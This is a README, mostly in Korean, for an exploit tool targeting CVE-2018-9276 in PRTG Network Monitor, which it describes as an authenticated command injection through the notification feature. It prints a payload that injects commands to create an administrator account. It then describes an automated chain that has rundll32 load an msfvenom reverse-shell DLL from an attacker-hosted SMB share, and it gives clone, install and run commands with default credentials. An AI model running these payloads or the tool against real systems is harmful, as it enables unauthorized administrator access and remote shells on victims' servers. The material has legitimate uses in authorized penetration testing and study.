
CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.
⚠️ 면책 조항: 이 도구는 교육 목적 및 승인된 침투 테스트 전용입니다. 소유하거나 명시적 서면 허가를 받은 시스템에서만 사용하십시오. 허가되지 않은 사용은 불법입니다.
PRTG Network Monitor는 Paessler AG에서 개발한 네트워크 모니터링 도구입니다. 18.2.39 이전 버전은 알림 기능을 통한 인증된 명령어 삽입 취약점에 영향을 받아, 유효한 자격 증명을 가진 공격자가 로컬 시스템(PRTG 설치의 기본 서비스 계정) 권한으로 원격 코드 실행(RCE) 을 달성할 수 있습니다.
이 취약점은 Josh Berry가 침투 테스트 중 발견하여 Paessler AG에 공개했으며, 2018년 4월 20일에 패치가 릴리스되었습니다. CVE-2018-9276로 할당되었습니다.
PRTG에는 관리자가 특정 이벤트 발생 시 스크립트를 실행할 수 있는 알림 시스템이 포함되어 있습니다. 임의 코드 실행을 방지하기 위해 PRTG는 실행 가능한 스크립트를 서버의 특정 디렉터리에 있는 스크립트로 제한합니다. 기본적으로 두 개의 데모 스크립트만 사용할 수 있습니다.
Demo EXE Notification - OutFile.batDemo EXE Notification - OutFile.ps1PowerShell 데모 스크립트(OutFile.ps1)는 알림의 Parameter 필드 값을 어떤 검증도 없이 스크립트에 직접 전달합니다. 따라서 세미콜론 뒤에 임의의 PowerShell 명령어를 추가하여 삽입할 수 있습니다.
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add
PRTG가 알림을 실행하면 삽입된 명령어가 로컬 시스템 권한으로 실행됩니다.
참고: 배치 스크립트(
OutFile.bat)는 취약하지 않습니다. Paessler는 배치 파일에 전달하기 전에 입력을 검증하는 것으로 보입니다. 삽입은.ps1스크립트를 통해서만 가능합니다.
익스플로잇은 다음 단계를 자동화합니다.
1. 서버 버전 확인 → 대상이 취약한지 확인
2. 인증 → 유효한 세션 쿠키 획득
3. 파일 알림 스테이징 → 대상에 쓰기 가능한 출력 파일 초기화
4. 파일 알림 트리거 → /api/notificationtest.htm을 통해 실행
5. 리버스 셸 DLL 생성 → msfvenom (windows/shell_reverse_tcp)
6. DLL 호스팅 → 공격자 머신에서 SMB를 통해 제공
7. 명령어 알림 스테이징 → 출력 파일 뒤에 rundll32.exe <UNC_PATH>,0 명령어 삽입
8. 명령어 알림 트리거 → DLL 대상에서 실행
9. 리버스 셸 수신 → nc -nvlp <LPORT>
PRTG는 알림으로 해당 설치 디렉터리에 있는 스크립트만 실행하도록 허용하므로, 임의 바이너리를 업로드하여 실행할 수 없습니다. 대신 다음과 같은 방법을 사용합니다.
msfvenom을 사용하여 Windows 리버스 셸을 .dll 파일로 생성합니다..dll을 공격자 머신의 SMB 공유에 호스팅합니다.rundll32.exe \\attacker\share\payload.dll,0 명령어를 삽입합니다.rundll32.exe는 UNC 경로에서 DLL을 로드하여 실행할 수 있으므로, PRTG가 직접 실행할 수 있는 파일에 대한 제한을 우회합니다.
msfvenom (Metasploit Framework의 일부)netcat (nc)impacket — 내장 SMB 서버에만 필요 (선택 사항, --no-smb 참조)pip install impacket
이미 DLL을 호스팅할 방법(예:
impacket-smbserver, Metasploit의exploit/multi/handler또는 다른 SMB 서버)이 있다면--no-smb와--shell-location을 사용하여 impacket을 생략할 수 있습니다.
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt # impacket만 설치
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
[--no-smb] [--shell-location SHELL_LOCATION] [-v]
옵션:
-i, --host 대상 IP 또는 호스트명-p, --port 대상 포트 (예: 80 또는 443)--lhost 리버스 셸 콜백용 로컬 IP--lport 리버스 셸 콜백용 로컬 포트--user PRTG 사용자명 (기본값: prtgadmin)--password PRTG 비밀번호 (기본값: prtgadmin)--https HTTPS 사용 (자체 서명 인증서 허용)--no-smb 내장 SMB 서버 건너뛰기 (페이로드가 이미 호스팅된 경우)--shell-location DLL 페이로드의 UNC 경로 재정의-v, --verbose 상세/디버그 출력 활성화python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 443 \
--lhost 10.10.14.5 \
--lport 4444 \
--user admin \
--password Sup3rS3cr3t \
--https
# 먼저 페이로드를 직접 호스팅합니다:
impacket-smbserver share /tmp -smb2support
# 그런 다음 공유를 가리키며 익스플로잇을 실행합니다:
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444 \
--no-smb \
--shell-location '\\10.10.14.5\share\payload.dll'
prtgadmin / prtgadmin)을 사용하면 악용 장벽이 크게 낮아집니다.| 필드 | 값 |
|---|
| CVE | CVE-2018-9276 |
| 영향받는 버전 | PRTG Network Monitor < 18.2.39 |
| 유형 | 인증된 명령어 삽입 |
| 필요 권한 | 유효한 PRTG 자격 증명 필요 |
| 영향 | 로컬 시스템 권한으로 원격 코드 실행 |
| CVSS 점수 | 7.2 (높음) |
| 패치 | PRTG 18.2.39 (2018년 4월 20일 릴리스) |